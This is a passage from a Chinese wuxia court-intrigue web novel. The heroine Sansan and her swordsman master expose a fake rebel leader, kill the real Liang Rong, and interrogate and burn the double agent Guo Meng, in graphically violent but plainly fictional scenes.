“非也非也,我是想让梁荣杀了他,郭蒙是个双面探子,既挑唆了梁荣,又欺骗了冯士威,单纯让他死,我觉得太便宜他了。”
裴景明眼神里闪烁着精光,他盯着三三的面庞,话里透着狠辣,语气却轻飘飘的:“我听闻梁荣是个睚眦必报的人,平生最痛恨别人搬弄是非,若是他知道自己被人挑唆了,做了冤大头,肯定不会轻易放过郭蒙的。我这个人也是如此,郭蒙是裴文谦的人,若是冯士威去解决他,裴文谦定然会反应过来是我,我暂时还想吊着他,所以让梁荣去解决他吧。”
裴景明改变主意了,与其吊着裴文谦,不如说是让裴文谦继续以为自己尚未被发觉,如此才能吊出更多、更大的鱼啊。
“你想让我将此人做的事情告诉梁荣?”
“对。”裴景明言简意赅道。
三三握着剑柄的手轻轻敲了两下,垂着眼在心里不断衡量着这笔合作,那郭蒙肯定是要杀的,此等搬弄是非搅乱人心的贼子死上几次都不亏。
三三抬起眼直视还在擦血的裴景明:“这合作,我同意,你开价多少?”
那伤口不深,就是划了个口子,只是血流得不少,瞧着吓人罢了。裴景明来回擦了好几次,见手上那丝带翻折成的帕子再没有干净的空地,便捏着不再擦了。
他眼底带着丝丝笑意,眸中闪着的精光十分明显:“我可以答应三三姑娘一件事,至于姑娘想什么时候兑现,都可以。”
答应一件事?这是什么鬼报酬?
不过,三三转念一想,现下她还有一大笔钱在裴景明那存着,也不缺钱,答应一件事,貌似比直接要钱更划算?
她看了眼早已出门候着的武不群,后者抱着心爱的宝刀十分悠哉地倚靠在那门前的榕树下,丝毫没有接收到她的意思。
三三想了想,最终还是答应了裴景明。
“用你我签个契约之类的吗?”三三问。
裴景明笑了笑,嘴角扬起的弧度直奔耳廓:“契约倒不用,你拿着这块翡翠,若是哪天想好了让我帮忙,将这块翡翠还给我就行。”
三三接过他从香囊里取出的那块圆润
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小翡翠,应了声行之后,就十分潇洒地跟武不群走了。
三三迈出门的同一瞬间,唐凌从怀里摸出了瓶药,箭步上前按住了裴景明的肩膀,裴景明尚未反应过来时,那药粉簌簌地就敷满了伤口。
“虽说这伤口不深,但还是小心点为好。”唐凌将药瓶重新塞回怀里。
裴景明想起刚刚剑锋划过时的触觉,锋利、迅速且不留痕迹,是柄好剑。
想要找到梁荣并不难,直奔梁荣大本营就行。
三三和武不群打探清楚梁荣的大本营在春月楼之后,师徒俩便二话不说直奔前去。
那梁荣年方四十又八,身材十分魁梧,此刻正高坐在楼阁上左拥右抱,一脸醉态,脸上的横肉耷拉着,两眼无神,只知道不断张嘴接着舞女喂过来的酒水。底下醉倒了一片人,横七竖八、歪歪扭扭地或坐或躺,更有甚者直接脱光了上衣横在中央,画面十分之糜乱不堪。
三三本以为要费好一番功夫才能见到那梁荣,不成想只要不从重兵把守的正门进,直接从屋顶下来,根本毫无阻碍。
师徒俩的骤然出现并没有惊醒那群醉死的“将军”,反倒是那些陪侍的舞女个个尖叫着跑开了。
“师傅,这梁荣……”三三拧眉看着座上那个醉死过去的男人,心道就这死样还能搅乱一方县城?
武不群摇了摇头,这人怎么跟传闻中的不太一样呢?不是说他睚眦必报、手段了得,所以才在短时间内能够聚集那么多农民跟着他一起同冯士威对战?
三三满脸疑惑地上前拍了拍那梁荣的肩膀,这不拍还好,一拍更疑惑了,从军之人的体魄应该挺强健的吧?怎么这梁荣看起来一点都不像习武之人,反倒像个屠户?
“师傅,这真的是梁荣吗?”三三抱着剑,微微侧开身子露出那睡得像死猪一般的男人。
看是看不出来的,直接问来得更快。
武不群上前轻踹了几下座下的人,可那人根本纹丝不动,宛如挠痒痒一般挠了一下被踹的膝盖后就砸巴着嘴继续睡了。
三三:“……”
武不群:“……”
“喂,醒醒!”武不群向来秉承着能动手就动手,绝不动口的原则,上前拎着梁荣的脑袋用力晃了晃,见人依旧没有要醒来的趋势,不由得气笑了两声,旋即摆正了梁荣的脑袋,左右手来回交叉热身了一番,对着那满是横肉的脸就是左右开弓。
“啪、啪、啪”的声音霎时响彻这个楼阁,梁荣的脸没一会就红成了块烤乳猪皮。
脸皮火辣辣的刺痛感终于把醉得跟死鬼一样的梁荣给疼醒了。
他眯缝着苍蝇般大小的眼睛,不自觉地抬手捂了下自己的脸,甫一触到就立刻疼得龇牙咧嘴。
武不群高高扬起的巴掌刚要落下时,就被梁荣给打断了:
“等等!别再打了!”
“我醒了!我醒了!”
武不群哪管那么多,他的原则就是巴掌扬起就一定要落下。
“啪”地一声清脆巨响,梁荣半边脸一下就被扇歪了,嘴里顿时弥漫起浓重的血腥味,他就着被打偏的姿势张嘴吐出了颗牙。
45. 真假梁荣
“好汉、好汉,别打了,别打了!”梁荣抬着手想捂又不敢捂那半边被扇歪了的脸,借着眼角余光见底下的人都醉死在那,根本没有要醒的趋势,心不住地往下沉。
武不群一脚将他踹翻在地,作势要继续打他,吓得那梁荣扑直通跪地求饶。
“好汉!好汉!别打我!我有钱!都给你都给你!”
武不群左右转了转脖子,冷笑道:“爷爷我不要钱,就要你梁荣的命!”
那梁荣这下头磕得更响了,跟疯了一样嘴里不停念叨着“别杀我别杀我”,咚、咚、咚的声音听得三三头皮发麻。
她上前一步阻止了对方继续磕头的动作:“住手,我问你什么你答什么便是,若撒谎骗我等,我即刻将你这条小命给拿了。”
梁荣抬起那通红的肥肉脸,额头上因为磕头太过用力而不住地往下流血,血量之大很快就糊住了他的眼睛。
他用力摸了一把,涕泗横流道:“二位只要不杀我,什么都好说,什么都好说。”
此人如此贪生怕死,与传言中的梁荣判若两人,三三暗自打量他,心中隐约有个猜想。
“你与梁荣是什么关系?”
那梁荣匍匐跪在地上,额头上的血滴滴答答浸满了他脑袋下方的地板。
“是、是……我是梁荣他舅姥爷,是他让我扮作梁荣,说要奉养我,让我在春月楼吃香喝辣的。”
果然如此。
“那真梁荣现在何处?”三三立刻追问。
“他、他在老家猫山村。”
武不群煞有介事地摩挲着下巴:“为何他要你扮作他?”
难道是为了好在背地里行事?还是他自知自己作孽多端,为了避免别人报复,所以立了个靶子在这给人杀?
那假梁荣抬起头小心翼翼露出个笑脸,可他现在脸上一片猩红不说,眼泪鼻涕什么的都混在了一起,还不如不笑。
“我、我是他舅姥爷嘛,那孩子说他能用的人不少,可忠心的没几个,他也不放心让别人来管县里的事情,便说让我来管,对外就说我是梁荣,小事都我说了算,大事的话就回村里找他商量。”
被人当作了活靶子立在跟前都不知道,反倒引以为荣,还沾沾自喜,这也是个神人。
三三无语凝噎片刻,好一会才问:“你叫什么名字?”
“回女侠的话,小人叫王二壮。”
“行,王二壮,”三三点点头,“劳烦你带我们去找梁荣。”
王二壮猛然抬起头,从他那血泪遍布的横肉脸上勉强看出点惊讶:“二位大侠,是找梁荣有什么事吗?若是小事的话,我完全可以做主的!直接找我就行了啊!”
有什么事情直接说不就好了,害得他磕了半天的头,脑瓜子现在都嗡嗡的。
武不群皮笑肉不笑地一把将他从地上拉了起来:“少废话,你做不了主,赶紧带路!”
也就是武不群年纪上来了,要是搁他年轻的时候,这王二壮早就被他卸掉了半边身子,如今还能好声好气同他说话已然是脾气好了不少。
王二壮被他这阴恻恻的笑容给吓得一动不敢动,生怕他腰间佩戴的那把刀下一瞬就出现在自己脖子上。
三三迈步率先出门,微微侧头淡淡道:“还不走是想我请你走吗?”
王二壮被她这侧头吓得一哆嗦,下意识就迈步跟了上去,结果因为刚刚跪得太久,磕头磕得太用力,整个人晕乎乎的,一抬脚就给自己绊倒在地摔了个狗吃屎。
一旁的武不群见状,直接放声大笑了起来,笑声萦绕着整个春月楼,甚至还有回声。
王二壮尴尬地爬了起来,抬手用袖子擦了好几把脸,这才勉强看出个人样。
他弯腰低下身子,单手向前,讨好地看着武不群:“大侠,您先请,您先请。”
武不群挑了下左侧的眉毛,满是戏谑,倒也没说什么。
王二壮应该是经常来猫山村找梁荣,对近道十分之熟悉,约莫走了一个时辰左右就到了那梁荣的老巢。
那梁荣不愧是个极为谨慎的人,老巢竟然是间十分简陋的竹屋,从门口到屋子是条石板路,周遭长了些野草,院子里还种了点菜,看起来极为普通,若不是知晓内情,乍一看还以为是普通老百姓的居所,任是谁也不会想到这里住着那霍乱一方的老贼。
竹屋前面有个十分简单的栅栏,绕着那竹屋围了一圈,正对着几人的是个开了点缝隙的围栏,约莫到三三的腰部那么高,三三手轻轻一推,那围栏竟然就直接倒了。
???
“这是什么意思?”三三不解。
那王二壮苦着脸:“刚刚我没来得及跟您说,这围栏别碰,直接绕到后面进去就成,这围栏只是个摆设,用来提醒梁荣所来之人是敌是友的,若是熟悉的人前来寻他断不会从这边进去。”
“是没来得及说还是压根不想告诉我?”三三抬起剑露出半截剑身,威吓道,“有什么要注意的,一并现在说了,再敢耍花样,我立刻送你归西!”
王二壮被那寒光逼人的剑吓得差点又是扑通跪地,他强撑着身子,咽了咽口水才道:“除了这围栏不能碰,前边的石板路也不能走,那野草里面埋了毒钉子,踩上石板就会触发。”
武不群隔着栅栏探头看了眼里边的石板路,样式中规中矩,根本看不出设了埋伏,这梁荣还是有两下子的。
三三收好剑鞘,冷冷道:“你走前边继续带路。”
王二壮连声应好,带着二人绕到了竹屋的后边,后边还有道黑门,两侧都是围墙,看起来极为严密厚实,不等三三开口,那王二壮就率先拍了门,边拍边喊道:“外甥!你在家不?今儿有点事要来找你商量商量!”
他拍门的力道极大,震得那门板咚、咚作响,约莫过了好一会,里头才传出道浑厚的应答:“在家,等着!”
说罢,门内传来了阵阵的脚步声,武不群耳力非凡,一听就知道里面的人不在少数,他朝三三递了个警醒的眼神。
王二壮揣着手十分老实地站着门前,若不是那张脸红得跟烧猪头一般,旁人多半会以为他只是个来亲戚家串门的闲散人。
三三接收到武不群的眼神提醒后,谨慎地往后面退了两步,与王二壮拉开了一点距离。
脚步声又快又急,甫一停下,门就打开了。
来开门的不是梁荣,而是个上了年纪的大伯。
“梁伯,怎么是你来开门?你那孙子呢?”王二壮丝毫没感受到空气中渐渐拉满的杀意,反而乐呵呵地继续同来人说话。
“我今儿喝酒喝多啦,下楼时歪了一脚结果给我磕成了这样,嗨,我大外甥在干嘛呢?有两位贵客想要见他。”
梁伯须发皆白,一双浑浊的老花眼不住地往三三和武不群身上打量,王二壮想去攀他肩膀套近乎,结果被人给闪身躲开了。
“我家主人说了,既然是贵客
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,就要好好招待,二位请进。”梁伯侧过身子摊手做了个请的姿势。
王二壮也跟着道:“对嘛对嘛,贵客快请进快请进。”
武不群抬了抬自己的草笠,那胡子拉碴的脸上露出个笑:“我等冒昧前来,梁大人不计较还如此热情,真是让我等惶恐啊。”
梁伯笑了笑,请的姿势却没变:“贵客说笑了,主人已经在前厅等着了。”
武不群颔首,在三三迈步之前率先进了门。
从前边看,那小竹屋不过是平平无奇的农民居房,但绕到了后面却是别有洞天,高墙结实,墙上竟然还有类似于垛口的建造,进了门之后三三才发现,通往前厅的路上也有条石板路,只不过边上没有野草罢了。
她跟在武不群身后,暗中打量着周围的布置。
梁伯领着人站在前厅,只见主座上高高坐着位肤色黝黑的中年男人,四肢健硕,眼底满含煞气,他面目表情地看着武不群和三三,待梁伯进了厅前,才朗声笑着开口:“二位贵客远道而来,所为何事啊?”
王二壮像个鹌鹑一样缩在一边不敢吭声,梁荣扫了他一眼便不再理会他。
武不群扯着嘴角露出个笑:“武某是奉命前来与大人商讨要事,还请大人屏退左右。”
梁荣双腿岔开,手搁在腿上,谨慎地打量着对面的一男一女:“奉命?奉谁的命?”
武不群不怵他的威亚,似笑非笑道:“那要看梁大人认为自己是大晋人还是大楚人了。”
梁荣掀起眼皮,眼神里满是警惕,衣服下的胳膊肌肉霎那间突起,仿佛下一瞬就要暴起与武不群厮杀出个你死我活。
但很快,那衣服又瘪了下去,梁荣看向梁伯,仰了仰下巴,示意他带着王二壮退下。
梁伯点了点头,带着那鹌鹑转身出了前厅,又挥了挥手屏退了前来添茶倒水的侍女。
见人都退下了,梁荣这才站起身来,脸上露出了点笑意,但他眼底的煞气却丝毫不减,虽已上了年纪,但他体格依旧健硕,一看就是常年都有在练武的缘故。
他上前两步,似是一直没有看到武不群身后的三三,诧异道:“这位姑娘是?”
梁荣作势要上前细细查看,武不群却在下一刻拎起了腰间的刀鞘横在身前:“大人,注意分寸。”
梁荣丝毫不在意他的警告,手压在刀鞘上冷笑了声:“分寸?这是我的地盘,我要注意什么分寸?你们二人前来所为何事?是要杀我?”
三三半边身子隐在武不群身后,她面无表情地盯着对方:“梁荣,你是否还认大晋校尉的身份?”
施压刀鞘上的压力骤然减小,她能这么问,自然也是大晋的人。
梁荣收回手,笑道:“自然是认的,太傅当年也这么问过我,我若是不认,又怎么会一直帮着太傅暗中搜寻大晋人呢?”
若不是他一直在暗中搜寻大晋人,这场动乱还真闹不起来,梁荣在心底冷笑了声,那程书口口声声说找到了晋王皇嗣,可却迟迟不肯揭竿而起匡复大晋,与其等那虚无缥缈的皇嗣率领起兵,不如他自己来。
三三自是不知道他心底的那些小九九,从腰间拿出了那块玉佩亮在梁荣跟前:“我是晋王后人,此玉佩是当年我父交予我母,我母再转交于我的。”
梁荣瞳孔微张,瞧见那玉佩上的龙纹花样后便作势低下了头,旋即单膝下跪,双手合抱,中气十足地喊了声:“微臣眼拙,还请殿下恕罪!”
46. 梁荣之死
三三没叫他起来,隐在武不群身后的半边身子彻底露了出来,她站在梁荣跟前,约莫五步的距离,微微垂下眼问道:“既然你还认自己是大晋的臣子,那么,我有两件事,还请大人应允。”
梁荣立刻道:“殿下吩咐,微臣定当做到!”
小小校尉,还微臣,武不群在心底嗤笑了声。
“我听闻梁大人手下有一幕僚,名唤郭蒙,你可知此人真实身份?”
“那郭蒙是猫山村人,是我同乡,早年间在西北军中为伍,后来打了胜仗,他受了伤就回家了,我此前一直做屠户,他隔三岔五就来我这买肉,一来二去就熟了。”梁荣心底盘了个遍,那郭蒙的身份不就是这样吗?难道还有他不知道的?
三三冷笑出声:“梁大人,你真是,被人当刀子使了,还要感叹一句利用你的人是好心人。”
梁荣倏然抬起头,双眼锐利无比:“殿下此话何意?”
三三同情似地看了他一眼,怜悯道:“那郭蒙是个双面探子,你道为何冯士威偏要在你卖肉的摊子前找事?”
“你以为郭蒙是你的好军师,可人家真正效命忠心的是宁北王裴文谦啊,太傅让你传播歌谣,那裴文谦立马就让郭蒙找到了你,利用你传播歌谣,再转身告诉冯士威你是散播的源头,他假意告诉冯士威那是元安王派给他的任务,冯士威向来敬重这位瘸腿王爷,自然是十分卖力地跟你干了起来。”
三三垂下眼睫,再次同情地叹了一声:“在这场动乱里,大人以为自己是赢家,殊不知那郭蒙早已准备好了,待你拿下鹤县,就先取了你的性命,再向宁北王邀功。”
梁荣本来是双手合抱的姿势,可三三越说,他的拳头却握得越紧,额头上青筋虬起,突突跳个不停,仿佛下一瞬就要破皮跳出,直取人性命。
武不群站在一旁跟站桩一样不出声,三三说完了该说的话也不出声,师徒二人就这么看着单膝跪地的梁荣,面色跟调色的染缸一样是变了又变。
约莫过了半盏茶的时间,那梁荣松开了拳头,似是平静了下来,可眼底通红,杀意十分明显。
“殿下告诉我这个是想让我杀了郭蒙?”
“自然,梁大人是我大晋的肱骨之臣,我怎么能看着大人被人愚弄而无所作为呢?”三三轻笑道,“那郭蒙贼子该杀,但杀了他鹤县动乱并不能立即停下,大人不妨在他死前利用他一番,好洗清自己传播歌谣的嫌疑。”
嫌疑什么,有什么好嫌疑的,传播歌谣一事明明就是他做的,但三三偏要那么说,如果不那么说,就算杀了郭蒙,梁荣也不会解散下边的人。
梁荣低着头,突然哼笑出声,那笑声中透着癫狂,还有孤注一掷般的决意。
他站起身来,目光直直锁定在三三的脸上,嘴边挂着嗜血的笑容:“殿下啊,为何我们不能将计就计呢?眼下正是殿下率兵匡复大晋的好时机啊!”
站桩的武不群立刻动身挡在了三三跟前,三三见对方癫狂的模样,猝然反应了过来,不论有没有郭蒙,不论郭蒙是不是真利用了他,梁荣都会掀起动乱的。
她脑海中下意识回忆起了临行前太傅说的话,若是梁荣不肯听命于她,便要杀鸡儆猴。
此人断然留不得。
“师傅,”三三抿紧了唇,轻声问道,“要动手吗?”
若说来之前她不确定是不是真的要杀了梁荣,此刻答案已然呼之欲出。
梁荣是个有野心的人,听命太傅也不过是为了给自己挣个前程,可程书迟迟不肯动手,他只好自己动手了。
“殿下,你难道不想匡复大晋吗?”梁荣摊开双手原地高高举起,举止神态十分之癫狂,他大声呵道,“眼下机会就在眼前,为何不趁势而为?”
三三抿紧唇线,一言不发地盯着他。
梁荣放下手,嗜血的眼眸如同恶狼一般紧紧盯着对面,他缓缓从腰后拔出把匕首:“既然殿下不肯,那只好委屈殿下配合臣了。”
武不群悍然拔刀出鞘,刀身锃亮倒映着梁荣那贪得无厌的嘴脸。
“想挟天子以令诸侯?”武不群单手抬高草笠,露出那双鹰眼,嘲讽道:“那得先问我的刀答不答应。”
虚空中铿锵一声响,二人瞬间缠斗在一起,三三往后退了几步,突然听到了簌簌的急促脚步声,回头一看只见门外站满了披金戴甲的护卫和弓箭手。
三三压低了眉眼,眼眸中满是警惕,现在前有狼后有虎,进退两难,她抿了抿唇,拔出剑,望着院外那两侧高墙,拔高了声调喊道:“还不出来是想等我死了好收尸吗?!”
弓箭手早已搭好箭弩,三三话音刚落,密密麻麻的箭雨瞬间扑面而来。
三三原地翻了个跟斗,闪身侧挡,手中剑挥个不停,残影转瞬即逝。
就在弓箭手换箭时,墙头上突然飞扑下来一群黑衣人,二话不说,闷头就是砍,场面一时混乱不堪。
三三躲在根柱子后,探头望去,只见唐凌一脚踹飞了门,那力道之大可不是开玩笑的,门倒在地上霎时溅起一阵灰尘,他身后是戴着面具的裴景明,侧边是冯士威。
冯士威双手持刀,看了一眼裴景明之后,就囫囵挥着刀直冲上前,双刀齐齐当头砍下,一下就给两个弓箭手开了脑花,血溅了他满脸,看起来煞气十足。
来之前三三就怕自己说服不了梁荣,到时候要在他的地盘上动手肯定会处于下风,于是她答应了裴景明的请求后,又要求他派人一路跟着,已备不时之需。当时只是为了以防万一,没想到这万一还真的成真了。
三三见弓箭手都被杀的差不多了,剩下的虾兵蟹将,裴景明带来的人也足够应付了,她看向前厅里还在缠斗的二人,见武不群处于上风,便不打算冲上去帮忙了。
能帮上最好,要是帮不上还添麻烦就真是麻烦了。
唐凌倒是没冲上去砍人,一直守在裴景明身侧,双手抱胸津津有味地看着冯士威挥着双刀砍人。
“大人,这老冯虽然脑子不太好使,但是这双刀使得不错啊。”
裴景明瞥了一眼冯士威,后者正被三四个人围攻,只见他马步一扎,稳住下盘,轮圆了肩膀以自己为中心哐哐砍翻了来人。
裴景明轻笑了一声:“脑子和武力,总得有一个吧,不然怎么在西北军混?”
唐凌啧啧称奇,眼光瞥道了躲在柱子后的三三,他冲裴景明努了努嘴:“那三三姑娘也在观斗呢。”
裴景明顺着他的目光看去,发现三三一直在绕着柱子躲,那梁荣每每一伸手要探向她,都会被武不群给挡回去。梁荣虽然身材魁梧,但武艺却不高,看起来是和武不群在对打,实则
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是武不群在溜他,消耗他的体力。
眼见梁荣气喘吁吁,胸口起伏个不停,满头大汗却依旧挥着那匕首,武不群就知道是时候了。
他挥着鸿铭刀,绕着梁荣转了几下,动作之迅速如同鬼魅一般,待众人看清之时,梁荣早已双膝跪地,手中的匕首被甩飞出了前厅,堪堪射中了一名弓箭手的胸膛。
“嚯!这位刀客可真是不得了啊!”唐凌眼睛亮闪闪的,之前跟武不群打并没有分出胜负,眼见此景,想要再跟对方一较高下的心蠢蠢欲动。
裴景明没理他,见前方梁荣的手下都被收拾干净了,慢悠悠踱步来到了三三跟前。
“三三姑娘,我们来得还算及时吧?”
三三将剑收回剑鞘,借着垂头的动作白了他一眼,及时个屁,要不是她身手好,她早在第一轮箭雨的时候就被射成筛子了。
“还成,没在我死之后来。”三三微笑道。
裴景明也不在意她的阴阳怪气,依旧笑盈盈地问她:“那梁荣怎么处理呢?”
武不群刀架在梁荣脖子上,后者却依旧挺立着身子,桀骜不驯,颇有种宁死不屈的倔强感。
裴景明明晃晃地打量他,嗯,又是个光有一身力气,但是智力跟不上野心的犟种,若是猜得不错,此人就是在背后传播歌谣的主谋——之一。
三三古怪地看了他一眼:“要怎么处理那是我的事情,我既然答应了你,自会帮你以梁荣的名义杀了郭蒙,不沾你半分血腥。”
裴景明哈哈大笑了一声:“那就好那就好,既然姑娘要处理自个的事情了,那我就不叨扰了。”
三三循着他的身影望去,一直到出了门消失不见才收回视线。
“郭蒙在哪?”三三垂头问梁荣。
梁荣抬起头颅,不屑地嗤笑了声:“怎么?殿下是想杀了他再杀我?”
三三根本不在意他的狂妄,她半蹲下身子,抬手握住武不群的鸿铭刀身,细不可闻的刺啦一声,划开了梁荣脖颈上的皮肉,如同当时划开裴景明的脖颈一般顺滑,区别在于梁荣这一刀的刀口比较深,眨眼间便血流如注。
“我再问一次,郭蒙在哪?”三三自问不是嗜杀的人,也不喜欢折磨人,但有些事情她必须要亲手做一次才行。
梁荣下意识地想要抬手捂伤口,但他一有动作,三三握着刀身便更进一步。
她与梁荣面对面注视着对方,瞳孔深不见底,让人瞧不出她真实的想法。
梁荣因为失血速度过快,脸色很快就白了下来,豆大的汗珠顺着脸部线条啪嗒一声滑落在鸿铭刀上。
“郭蒙被我派了出去暗杀冯士威,眼下应该在琼楼那边,他确实小人,谁杀都一样,只是可惜了不能亲手手刃了他,”梁荣声音虽然依旧浑厚,但很明显中气不足了,可他依旧激动得为自己辩驳,“殿下要杀我,不过是因为我不听号令,可我一心为着匡复大晋,我有何错?!”
为着匡复大晋,多么光鲜亮丽的名头啊,可实际上是为了什么,梁荣自己心里清楚得很。
三三松开手,站直了身子:“你为大晋,本身没有错,可你私欲大于公欲,致使鹤县生灵涂炭,百姓流离失所,这就是你的错。”
她转过身,不再看梁荣。
须臾只听扑通一声,□□轰然砸向地面。
47. 郭蒙之死
三三和武不群不敢耽搁,梁荣死了的消息瞒不住,须在消息传出去之前杀了郭蒙,武不群吹了声口哨,笑道:“这好办,直接放把火全烧了就行,对外就说走水。”
火舌自下而上舔着屋檐,一瞬就将整座竹屋给笼罩了起来,火声噼里啪啦,黑烟滚滚盘旋上升,风一吹过,那烟火瞬间盈满了空气,顺着风飘往各地。
琼楼虽然是冯士威在县城占据的地盘,但他除了在那吃喝玩乐,很少留在那过夜。郭蒙昨日便来这里设了埋伏,可左等右等,愣是不见冯士威,别说人了,就连半点影子都没见着。
郭蒙在琼楼对面的肉食铺里蹲了一天,眼见这会都要天黑了,心里不免焦躁起来。因着鹤县一直未能迟迟拿下,梁荣心里窝火得很,三不五时就朝底下人发火,郭蒙深受其害,若是今日不能杀了冯士威,今日回去自己也吃不了兜着走。
他合上监视的窗户,翻过身靠在墙上,一把扯下了脸上的黑布,脸色十分阴沉,见底下人都在看他,暗自骂了声娘。
“看我有什么用?人没出现,我能怎么办?!”
底下人面面相觑,机灵点的早已看向他处,老实不会变通的则一直盯着郭蒙:“郭哥,那我们怎么办?就这么回去吗?”
要是就这么回去的话,梁荣会不会一气之下将他们杀了?
郭蒙没好气道:“天还没黑呢!再等等,冯士威总要出来溜溜吧?”
蹲了一天,不仅没蹲到人,反而被蚊虫咬了一身,任谁心情都不好,郭蒙骂骂咧咧地打开门出去,余下人你看我我看你,想跟着起身又不敢,他们原来都是老实本分的农民,若不是因为整日里梁荣和冯士威打来打去,乡里村里不得安宁,还大肆抢田抢牛,他们也不会跟着来起事。
刚刚那老实问话的兄弟年纪约莫十来岁,家里父母上了年纪,兄长要耕作,为着家里的田不被抢,他只好代替哥哥加入了梁荣的起义军。他屈起手肘拐了拐身侧的同乡:“你说咱今日能杀了那冯贼吗?”
同乡心里也不耐烦,不爽道:“谁知道,别问了,烦死了。”
“烦死了,他娘的,”郭蒙出了门,往边上的老树狠狠踹了几脚,“他娘的,冯士威那老贼究竟去哪了!惹急了老子,一把火烧了琼楼!”
老树本就光秃秃的没什么叶子,近日暖和了点才冒出点新芽,被他那么一踹,干枯的树枝簌簌作响,抖了一地的枯屑。
郭蒙狠狠摸了一把脸,双手叉腰,眼神阴骘地望向琼楼的方向。
明明无风,可他却在那一刹那感受到了风,鸿铭刀架在他脖子上,近在咫尺。
“敢问阁下是?”郭蒙倒也不慌,他垂下叉腰的手并不转身。
武不群吊儿郎当地笑了笑:“是谁不重要,取你性命才重要。”
说着,鸿铭刀刀刃向内直直砍向郭蒙的脑袋,那郭蒙不愧是在西北军中混过的人,身子往前探了几步,骤然拉开了与鸿铭刀的距离。
他转身负手:“我与阁下素不相识,为何要取我性命?许是有什么误会吧?”
郭蒙面上彬彬有礼,还想着对方能将话说明白,只是他话一刚落,就被人猛地一记手刀给劈晕了。
武不群没扶住郭蒙,由着他倒向地面,边不慌不忙地收刀边打趣三三:“不错不错,这次力度还可以。”
三三第一次劈人脖子力度太轻没给人劈晕,第二次劈人力道又太重,人当场昏死过去,睡了个一天一夜。
这次的力度看起来还行,人是当场晕了,就是不知道要多久才能醒。
“师傅,你说我们要怎么处理他才好?”三三瞧着地上昏死过去的郭蒙,想着一路上见到的惨状,忍不住踹了他两脚。
“之前裴景明说他背后的人是裴文谦,皇子之间为了夺位,构陷诬告常有的事,我既然答应了他要处理了郭蒙,自是不好叫人知道是裴景明的授意,不若趁着竹屋的火没灭,将人捆了直接扔过去,营造出梁荣和郭蒙互斗双死的场面?”三三没等到武不群的回答,自顾自提出了自己的想法。
武不群抱着刀鞘:“这会不会太便宜他了?”
郭蒙作恶多端,若不是他,鹤县人也不会造次劫难,就这么烧死他,实在是便宜他了。
三三唔了一声,笑道:“不着急啊,死之前先撬开他的嘴,若是他不肯,就将他绑起来弄醒,身上淋满了油,让他眼睁睁看着自己被烧死。”
武不群挑了一下眉:“这法子你怎么想到的?”
三三眨巴眨巴眼睛,老实道:“看到梁荣被烧的时候想到的。”
武不群给她竖起了大拇指,以示夸赞,旋即将人扛了起来,师徒俩回到了竹屋那边,左手边是熊熊烈火,右手边是昏迷不省人事的垃圾,郭蒙被十分结实地捆在了椅子上,三三舀了几勺缸子里面浑浊的水,哗哗一泼就给人泼醒了。
“咳、咳!”郭蒙费力睁开眼睛,井水冰凉刺得他眼睛生疼,可对面的冲天火光更让他心惊胆战。
他又惊又恐,咳得涨红了脸,待缓过神来,才看清面前站着的人。
一男一女,从未见过。
“郭某不认识二位,二位何故绑架我?!”
三三笑吟吟道:“不认识我们就对了,我问你,裴文谦除了让你在冯士威和梁荣之间互相挑唆,还给你安排了什么任务?”
郭蒙脸色一变:“你究竟是什么人?”
三三拔出剑,动作缓慢地在他胸口上刺啦,没一会就刺破了他胸前的衣衫:“问你什么答什么就是了,恁多废话做什么?”
郭蒙垂眼盯着那锃亮的剑尖,下意识吞了吞口水,额头上残剩的水珠混着冷汗一路淌下,显然,他害怕了。
可他依旧没有说实话:“宁北王是我的救命恩人,我不会出卖他的。”
武不群忍不住嗤笑出声:“还挺忠心的啊,既然他不肯说,那就给他放干血,再丢进竹屋里头同梁荣一道烧死。”
“什么?你们杀了梁荣?!”郭蒙瞪大了双眼,心中难以置信。
三三嗯哼了一声,胸口划拉的剑移到了郭蒙的粗壮的脖颈上,笑嘻嘻道:“是啊,烧死的哦,现在你要不要告诉我们呢?”
三三面庞年轻姣好,五官异常精致,虽然衣着朴素,却依旧挡不住那张光彩照人的脸,若是寻常在街上碰见此等美人,郭蒙定会调戏一番,可此刻他看着这张脸,却是浑身的鸡皮疙瘩都竖了起来,美则美矣,可那双眼睛中分明淬满了毒。
他撇过头,不再看三三,剧烈起伏的胸口却出卖了他。
三三挑了挑眉,故意跟武不群道:“师傅,他是个忠心的主,我们问不出来,还是放干了血烧了算了,省得浪费时间回去交差。”
说罢她唰唰挥着剑就在郭蒙的脸、脖颈、胸膛以及两条胳膊上划了几道不深不浅的口子,郭蒙脸色骤变,见三三还要去割他两条腿,挣扎着椅子蹦跶了几下:“住、住手!我说!我说!”
武不群再次嗤笑出声:“早说不就好了,何必呢?”
郭蒙咽了咽口水,额头上滑落的水珠顺着鼻梁啪嗒滴下:“宁、裴文谦,让我在梁荣占领鹤县
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后杀了他,再把所有事情都推到死人头上,之后再公布我是裴文谦的人,平定鹤县都是他的功劳。”
“没了?”三三蹙起眉头,似是不信就只有这么点任务。
郭蒙点点头,他不动还好,一动头上的水滴哗啦啦掉个不停。
“真的假的?”武不群佯装惊讶,“我听说这个宁北王很是器重你,不然也不会让我师徒二人前来了,你是不是没说完?”
郭蒙急切道:“好汉,好汉你信我,真的就只有这些了,裴文谦并没有全部押宝在我这,他还有其他暗线的。”
“其他暗线?都是些什么人?”三三问。
郭蒙摇了摇头:“这我就不知道了,暗线之间互不联络,也不知晓对方的身份,只有裴文谦自己知道。”
他面上诚恳得很,许是因为身上的伤口不断流血,脸色很快就苍白了起来。
三三神情冷漠,“啪”地一声收回了剑鞘,转回身看了武不群一眼,武不群立刻会意,在郭蒙身上弄了三刀六个洞,他捅的都是些要紧部位,血跟不要钱似的哗哗流了出来,郭蒙拼命瞪大双眼:“好汉、好汉,不是我说了就不杀我吗?!”
武不群没理会他,拿过脚边摆放的酒坛就往他身上淋个够。
三三背对着他,语气异常冷漠:“城外那些百姓苦苦哀求你不要霍霍他们的时候,你答应了又反悔的时候可曾想过今天?”
武不群就着郭蒙身上仅有的干净布料擦干了刀身上的血迹,冷笑一声之后便将人丢进了大火中。
位置选得好,就能少出点力,这边审完那边一推,毁尸灭迹,非常完美。
武不群拍了拍手,望着那依旧熊熊燃烧的大火,不知道在想些什么,须臾才回身问三三:“现在去哪?”
火光映照在三三脸上一片通红,她眸中除了不断蹿高的火苗再不见其他情绪。
“去找裴景明,将郭蒙的事情告诉他吧。”
武不群低头揉了揉肚子:“那先去吃饭?今天一天都在干活,除了早上吃了那点饼,再没有过其他进食,再不吃饭,你师傅就要饿死在这了。”
“……好,但是包袱都在原来那间屋子里,恐怕得先回去那了。”
